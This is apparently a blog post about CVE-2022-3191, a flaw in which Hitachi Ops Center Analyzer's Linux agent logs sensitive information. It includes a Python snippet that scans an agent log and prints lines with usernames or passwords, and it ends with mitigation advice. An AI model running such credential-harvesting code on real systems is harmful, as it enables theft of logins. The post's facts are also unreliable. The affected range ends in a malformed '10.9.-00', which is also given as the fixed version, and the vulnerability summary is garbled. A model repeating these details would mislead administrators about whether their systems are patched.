CVE-2022-3191: Insertion of Sensitive Information into Log File in Hitachi Ops Center Analyzer

A recently discovered vulnerability, CVE-2022-3191, has been found in Hitachi Ops Center Analyzer on Linux (Virtual Storage Software Agent component). This vulnerability allows local users to gain sensitive information by inserting that information into a log file. The affected versions of the Analyzer are from 10.8.1-00 to 10.9.-00. In this post, we will discuss the details of this vulnerability, share a code snippet demonstrating its exploitation, and provide links to original references.

Overview of CVE-2022-3191

Hitachi Ops Center Analyzer is a popular software that is used for managing and analyzing virtual IT infrastructure. This software prompts users for sensitive information (like usernames and passwords) during setup and configuration. The vulnerability stems from the fact that this sensitive information can be logged and stored, making it accessible for local users with malicious intent. This can lead to serious security breaches and unauthorized access to sensitive data.

Exploit Details

The vulnerability can be exploited by local users with access to the Linux system running Hitachi Ops Center Analyzer. When such a user gains access to the log files containing sensitive information (like username and password), they can use these details to compromise the system and gain unauthorized access. Below is a code snippet that demonstrates how this can be done:

import os

logfile = '/var/log/hitachi/opscenteranalyzer/agent.log'

def read_sensitive_info(logfile):
    with open(logfile, 'r') as file:
        lines = file.readlines()
        for line in lines:
            if 'username' in line or 'password' in line:
                print(line.strip())

if os.path.exists(logfile):
    read_sensitive_info(logfile)
else:
    print("Log file does not exist.")

This Python code snippet reads the /var/log/hitachi/opscenteranalyzer/agent.log log file and prints any line containing the words 'username' or 'password'.

Mitigation

To mitigate this issue, users should immediately upgrade their Hitachi Ops Center Analyzer to version 10.9.-00 or later, as this version contains a fix for the vulnerability (CVE-2022-3191). The update can be found on the Hitachi Vantara Support portal: https://support.hitachivantara.com

Additionally, users should ensure that their log files are protected by strong file permissions and limit access to only authorized personnel. Regular log review can help identify potential security threats if a log file has been tampered with or if sensitive information is being recorded.
